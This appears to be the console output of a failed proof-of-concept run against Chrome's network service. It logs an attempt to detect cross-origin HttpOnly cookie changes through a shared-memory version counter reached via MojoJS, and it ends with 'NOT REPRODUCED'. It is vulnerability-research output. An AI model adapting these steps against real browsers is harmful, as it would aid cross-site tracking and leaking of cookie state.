[*] starting POC server on :8092 [*] launching Chrome (headless, MojoJS enabled) [2425:2425:0529/083530.530952:INFO:CONSOLE:33] "[POC] Attacker origin : http://localhost:8092", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.531033:INFO:CONSOLE:33] "[POC] Victim origin : http://127.0.0.1:8092", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.531087:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.531956:INFO:CONSOLE:33] "[POC] [1] GetCookiesString(http://localhost:8092) -> obtain shmem handle", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.544656:INFO:CONSOLE:33] "[POC] shared-memory handle received, base version = 1", source: http://localhost:8092/poc.html (33) [2462:2508:0529/083530.544705:WARNING:services/network/network_service.cc:235] Mojo error in NetworkService: Received bad user message: Incorrect url origin [2425:2425:0529/083530.546113:INFO:CONSOLE:33] "[POC] mapped, current shared version = 1", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.546182:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.546224:INFO:CONSOLE:33] "[POC] [2] GetCookiesString(http://127.0.0.1:8092/) -> swap subscription pre-check", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.565140:INFO:CONSOLE:33] "[POC] Mojo pipe closed by network process: true (ReportBadMessage fired; renderer NOT killed)", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.565242:INFO:CONSOLE:33] "[POC] baseline shared version = 1", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.565279:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083530.565325:INFO:CONSOLE:33] "[POC] [ctrl] setting cookie on ATTACKER (http://localhost:8092) -- should NOT increment", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083531.066767:INFO:CONSOLE:33] "[POC] shared version = 2 delta=1", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083531.066841:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083531.066893:INFO:CONSOLE:33] "[POC] [3] opening http://127.0.0.1:8092/victim-login (sets HttpOnly cookie)", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083536.117376:INFO:CONSOLE:33] "[POC] shared version: 2 -> 2 delta=0", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083536.117464:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083536.117522:INFO:CONSOLE:33] "[POC] NOT REPRODUCED: no cross-origin increment observed.", source: http://localhost:8092/poc.html (33) [2425:2425:0529/083536.117588:INFO:CONSOLE:179] "[POC] DONE", source: http://localhost:8092/poc.html (179)